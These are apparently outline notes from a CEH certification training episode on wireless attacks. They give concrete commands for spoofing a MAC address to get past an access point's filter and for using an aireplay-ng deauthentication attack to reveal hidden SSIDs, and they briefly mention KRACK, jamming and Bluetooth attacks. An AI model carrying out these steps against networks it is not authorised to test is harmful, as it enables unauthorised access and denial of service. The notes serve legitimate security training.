- Filename: eccouncil-ceh31250-v10-16-3-2-wireless_hacking_common_threats_pt2.md
- Show Name: CEHv10 (312-50)
- Topic Name: Attacks and Exploits
- Episode Name: Wireless Hacking: Common Threats Pt.2
- Description: In this episode, Daniel and Zach take you through an exploration of common threats against wireless networks. Here they will explain and demonstrate more complex attacks like MAC filter bypass by MAC spoofing and revealing hidden wireless networks.

==========

Wireless Hacking: Common Threats Pt.2

- **Now that we've seen some "easier" attacks, can we move on to more complex attack vectors?**
    - Complex
        - MAC Spoofing
            - Attacker spoofs MAC of legit AP client
                - Bypasses MAC filtering
                1. Use Kismet/airmon-ng to discover MAC of legit client of target AP
                2. Disable MAC randomization in Network Manager
                - Add line `mac-address-randomization=0` to every file in `/etc/NetworkManager/system-connections`
                - Restart Network Manager service
                    - `service network-manager restart`
                3. Change attacker MAC to target client MAC
                - ```
                  ifconfig wlan0 down
                  macchanger -m B0:72:BF:FA:AE:3B wlan0
                  ifconfig wlan0 up
                  ```
                4. Connect to target AP
                - Attempt to connect to AP
                    - This will FAIL!
                - Go to *Options*
                    - Add spoofed MAC in *Cloned Address*
                        - Apply
                            - Add line `mac-address-randomization=0` to connection conf file in `/etc/NetworkManager/system-connections`
                                - Restart network manager service
                                + Attempt to connect to AP
                                - :)
                                + Reveal Hidden Network SSIDs
                                1. Look for hidden networks
                                + `airmon-ng start wlan0`
                                - Kill appropriate services
                                + `airodump-ng wlan0mon`
                                - Look for hidden network that you wish to Reveal
                                + Remember the channel it's on
                                - Restart `airodomp-ng` with the target channel
                                + `airodump-ng -c 6 wlan0mon`
                                2. Start deauthentication attack
                                + From new terminal...
                  ```

- `aireplay-ng -0 1 -a 00:1C:DF:89:84:9F wlan0mon`
+ Check `airodump-ng` output to see revealed network SSID
+ Deauth attacks can be used as DoS
- Honorable Mention
+ Key Reinstallation Attack (KRACK)
- Attacks the WPA2 4-way handshake
- Tricks victim into reinstalling a key that is already in use
- https://www.krackattacks.com
+ Signal Jamming
+ Fragmentation Attacks
- Used to obtain the Pseudo Random Generation Algorithm
- That is then used to generate packets for injection attacks
+ Bluetooth attacks
- Bluejacking
- Bluesnarfing
+ Stealing info from bluetooth devices